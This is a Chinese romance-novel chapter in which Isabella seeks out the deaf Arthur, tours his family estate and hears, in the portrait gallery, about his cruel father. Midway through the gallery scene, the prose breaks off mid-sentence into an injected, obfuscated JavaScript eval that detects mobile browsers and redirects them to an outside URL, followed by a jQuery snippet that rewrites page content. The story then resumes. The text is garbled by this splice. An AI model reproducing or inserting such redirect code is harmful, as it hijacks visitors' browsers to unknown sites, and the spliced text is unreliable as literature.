阳光从厚重窗帘的缝隙中溜进来，洒在床铺上，微暖的光线轻轻吻着她的脸颊。伊莎贝拉缓缓睁开眼，仍然沉浸在一场恍惚的梦里——一个她与亚瑟并肩生活的梦。他们坐在壁炉边，他为她泡茶，她靠着他的肩头读书……可当她伸手去触摸那熟悉的温度时，指尖所及却是冰凉的床褥。


    她的心微微一紧。


    他不在。


    她翻身坐起，床铺的另一侧早已冷却，显然他离开已久。她拉过被子裹住肩膀，目光在房间中来回扫视，仿佛他会从某个角落突然出现。


    可房间空荡，只有昨夜遗留下的余温还残留在空气中。壁炉里烧得很旺，火焰噼啪作响，但却掩盖不了一种渐渐浮现的、令人不安的寂静。


    她起身，赤足踩上厚重的地毯，披着长袍走到窗前。雪，正在缓慢融化。她看见远处庄园的车道上有车辙痕迹，有人来过，或许也将有人离开。


    伊莎贝拉的手指抓紧窗台边缘。


    她明白了。


    他们的时间正在耗尽。这个小世界，他们的避风港，正在瓦解。她知道克里斯平和其他客人很快就会抵达，亚瑟也一定知道。也许他正是因为这个原因离开了房间，躲进了他那沉默而坚硬的壳里。


    她闭上眼，吸了一口气。他一定在挣扎。他太熟悉放弃，太习惯失去，所以一旦面临选择，他宁愿自己先后退一步，也不愿看着别人转身离去。


    可她不是别人。


    伊莎贝拉偷偷回到自己房间，传唤女仆为她洗漱后便走出了房间，径直往图书室走去。她知道他会在那儿。那是他心灵的堡垒——当他不愿面对世界时，总会躲进书海之间。


    她轻轻推门而入，果然看见他坐在壁炉旁的那张高背椅中。他没有回头，当然，他根本听不到门的响动，却也许，他根本不想回头。


    她走到他身旁，伸手落在他肩膀上。他僵了一瞬，但没有推开她。


    “你是不是在想他们要到了？”她在他面前比划手势道。


    他终于抬起头，看向了她的脸。她从他的眼神里看到了疲惫，也看到了动摇——那种快要退缩却又不愿放弃的矛盾。


    “我们还有一点点时间。”她轻声说，低头贴近他的额头，“不要在它结束之前就先逃走。”


    她吻了一下他的发际，闭上眼，声音更低：“亚瑟，我想留下来……只要你愿意让我留下来。”


    他没有立刻回应。


    她没有离开他身边，只是静静站着，仿佛她的耐心本身就是一种邀请。亚瑟的手指在膝上缓缓蜷缩又松开，最终，他点了点头，缓缓站起身。


    她露出一丝微笑，没说话，只是将她的手递给他。他迟疑了一下，还是妥协地接过了。


    他的手指依旧温暖而有力。她知道，这只手曾将她从雪地中抱起，也曾在夜晚的床上紧紧地扣住她的腰，总有一天，它也会牵着她，将她带进他拒绝向任何人敞开的世界。


    “说起来，我还从未真正参观过这座庄园呢。”她一边在他身侧缓步而行，一边说，“我每次来访都是在正式场合，一群人说着客套话，房间彼此隔着尘封的门。”


    她抬头看着他，嘴角含笑。


    “就带我看看吧，亚瑟。让我看看你生活的地方，你的世界。让我走进去，不要总是把我留在门外。”


    他望着她的眼睛，看了几秒钟，然后轻轻点头。他转身，牵着她走出图书室，穿过那条铺着东方地毯的走廊。


    阿尔斯顿庄园的内部恢宏而沉静。高高的天花板、雕花木饰、暗金色的挂毯、以及镶嵌着彩绘玻璃的窗户，让人仿佛行走在一幅永不褪色的油画之中。可比起装饰，她更在意那些小细节——一张略微磨损的扶手椅、一盏旧铜灯下摊开的书本、角落里堆叠整齐的乐谱盒。


    “这里是……”她用手势指着一扇半掩的门。


    他推门进去，是一间小型的音乐室。并不奢华，但异常整洁。钢琴靠着落地窗，旁边放着一把竖琴，还有一个简易的乐谱架。


    “你还弹吗？”她问。


    他犹豫片刻，摇了摇头。


    “你小时候弹得不错，即便你听不见声音，但你有着天生的感觉。”她靠近一步，望着那钢琴，轻声说，“你不该让它沉默。它和你一样，不需要完美，也能让人心动。”


    他抿着嘴唇，目光下垂，仿佛在抵抗某种情绪的涌动。她没有继续逼问，只是挽住他的手臂，往前走。


    接下来的走廊开向客厅与正式宴会厅，她知道那些地方，不陌生。可她没有打断他的脚步，她要的是他的引导，不是她的掌控。


    他们穿过一段回廊，来到后厅，一扇雕花铁门之后是通向花园的走道——此刻被雪覆盖。玻璃门外是一排冬青和仍被厚雪压弯的树枝，远处喷泉静止如雕塑。


    “等到春天，我想看它盛开的样子。”她说。


    他望着她，眼里浮起一丝几乎看不清的温柔。


    他们继续走着，从主楼的这一翼穿过通廊，走向另一侧。脚步声在铺着厚地毯的走道上轻微而空灵，仿佛连空气都不敢发出声音。伊莎贝拉安静地陪着他，不打扰，也不急于开口。她能感觉到他走得愈发缓慢，每接近那个角落，身上的气场就多一分紧绷。


    当他们来到那对厚重的双门前时，亚瑟停下脚步，长长地舒了一口气，那声叹息似乎来自肺腑深处，带着某种无形的抗拒。


    伊莎贝拉侧过身看他。他的面部线条在晨光中更显清晰，冷峻、克制，仿佛正压抑着一股即将翻涌而出的情绪。他伸出手，缓缓地推开门，露出一条昏暗的画廊——肖像画廊。


    那是一间长形房间，两侧墙壁上悬挂着一幅幅巨大的油画画像，描绘着过去几代阿尔斯顿家族的伯爵与显赫祖先。画像中人物皆身着正式礼服，带着冷峻或倨傲的神情，目光仿佛要穿透墙壁，直视每一位踏入这间房间的后人。


    亚瑟一动不动地站在门口，盯着那一道延伸到尽头的画廊，好像只要踏进一步，那些画像中的人便会苏醒，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060511|179189||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    嘲笑他、责难他、像过往那样让他无处可逃。


    伊莎贝拉静静地观察他，目光柔软。她没有多言，只是伸出手，轻轻推开他结实的手臂，自己先踏入房间。


    几十双画像的眼睛立即投射过来。即便知道它们只是画，她还是不由得打了个寒战。这种冷峻、审判般的凝视令她不安。她从未喜欢过家族画廊，不管是在娘家还是婚后，都觉得那些画中的人像是固守旧制的幽灵，永远不能理解活人的挣扎。


    而对亚瑟来说，这样的凝视，意味着远不止不安。


    “在画像里，他们总是被描绘得如此严厉，不是吗？”她终于轻声开口，试图以一种温和的语气打破这份令人窒息的压迫。她侧过脸望着他，只见他仍伫立在门槛边，英俊的面庞紧绷，眼神暗得像掩盖住风暴的夜空。


    他终于走了进来，肩膀微微下垂，像是努力忍住某种本能的退缩。他没有说话，只是慢慢地比着手势回应她。


    “我认识的那些人确实都很严厉。”


    他顿了顿，手指有些颤抖，像是那些字句也带着重量。他摇了摇头，然后继续打着手势：“我父亲和他的兄弟，以及我的兄弟……他们没有仁慈之心，至少对我从来没有。”


    伊莎贝拉看着他的双手，心底泛起阵阵钝痛。这是他们几乎从不触碰的话题。她知道他过去的痛苦，却从未真正敢问。她不想逼他说出那些沉重的回忆，更害怕自己无力安慰。


    但现在，他主动说了出来。


    她缓缓走向他，伸出手，轻轻握住他微微僵硬的手指。


    “我还记得你父亲是怎么谈论你的。”她轻声说，“他对着别人谈你时，就好像你是个难以处理的麻烦……我那时还小，只觉得愤怒，却不敢出来反驳。”


    亚瑟的喉结动了动，神情却没有任何变化。她知道，他习惯了这种沉默的防御，而那正是他童年里不得不学会的东西。


    “我也记得，他那次直接就把你丢给了你的舅舅和舅妈抚养，直到你成年。”她继续说，语气低缓却并不带怜悯，只带着真实的陪伴与理解，“我不明白为什么，但现在我能想象……当你独自和他在一起的时候，他是不是更糟？”


    他终于抬起头看着她，那一眼直白而空洞，仿佛穿过了时间。良久，他缓缓地点了点头，然后比出几个手势：“他不喜欢被打扰，也不喜欢不完美的东西。”


    伊莎贝拉轻吸一口气，心像被一只温柔却坚定的手紧紧握住。她的指尖轻轻摩挲他的手背，然后坚定地问道：“你能告诉我一点吗？告诉我，一直以来的你，究竟是怎么熬过来的？”


    亚瑟望着她，眼神深处有些动摇，有些挣扎。仿佛过去的每一道伤痕都正蠢蠢欲动，等待一个出口。他没有立刻回答，只是低头看着她握着他的手，然后缓缓地抬起另一只手，落在她的手上，覆盖住她的指尖。


    他的动作轻得几乎像请求。


    然后，他写在她掌心的字迹，像微风一样轻微却震撼心弦：“因为你。”